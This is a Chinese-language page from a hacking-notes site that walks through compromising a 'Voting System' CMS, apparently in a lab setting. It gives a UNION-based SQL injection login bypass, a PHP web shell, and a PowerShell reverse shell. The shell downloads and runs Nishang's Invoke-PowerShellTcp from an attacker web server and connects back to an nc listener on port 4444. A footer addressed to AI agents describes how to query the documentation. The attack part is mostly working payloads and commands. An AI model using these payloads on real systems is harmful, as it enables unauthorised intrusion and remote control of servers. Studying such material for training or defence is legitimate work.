> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/voting-system-cms-exploitation.md).

# 投票系统

## **SQL 注入漏洞（SQLi）**

使用 `searchsploit` 以搜索投票系统漏洞并识别以下载荷：

<figure><img src="/files/07c57e26c16ddd464816f847ec868c93987aceda" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/dbcc3014026a6e634bd61058ae3e18a53b47f920" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

使用 Burp Suite 访问仪表板。

<figure><img src="/files/5e0d4a769c96606244e9d20540bc5ef76d131d9c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cac278388ffc74d2ca8361e1ef3ce5dfcd351e99" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

进入仪表板后，创建一个新用户并上传 `cmd.php` 以在服务器上执行命令：

<figure><img src="/files/cda64d9e179d85e65a5ea7397f65d90095f2611d" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/62d43bbadb2bae830a71425117711f78b23d412a" alt="" width="482"><figcaption></figcaption></figure>

该面板不执行安全检查，从而允许诸如以下内容的命令注入： `whoami`。使用 ping 命令测试连通性：

<figure><img src="/files/8b0742fc42c65322bc8c71787291bd1dfaaad1f7" alt=""><figcaption></figcaption></figure>

测试目标是否可以发送 ping。

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

收到响应即可确认目标上已执行命令。

<figure><img src="/files/3fbcb1c991689f862db99ff23514ed1ecbef977c" alt="" width="563"><figcaption></figcaption></figure>

**用于反向 shell 的 PowerShell 命令执行**

一旦确认命令执行，请在 `PS.ps1` 攻击者机器上托管该脚本。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾追加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/a9e9d7904a12e837826ea10649b392674ba34be2" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` 使用 Web 服务器：

```bash
python3 -m http.server 80
```

然后修改命令，使其指向攻击者的 Web 服务器：

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

最后，在 4444 端口启动监听器：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/f9504b79da43172ac9365275786c402c38e1c27a" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
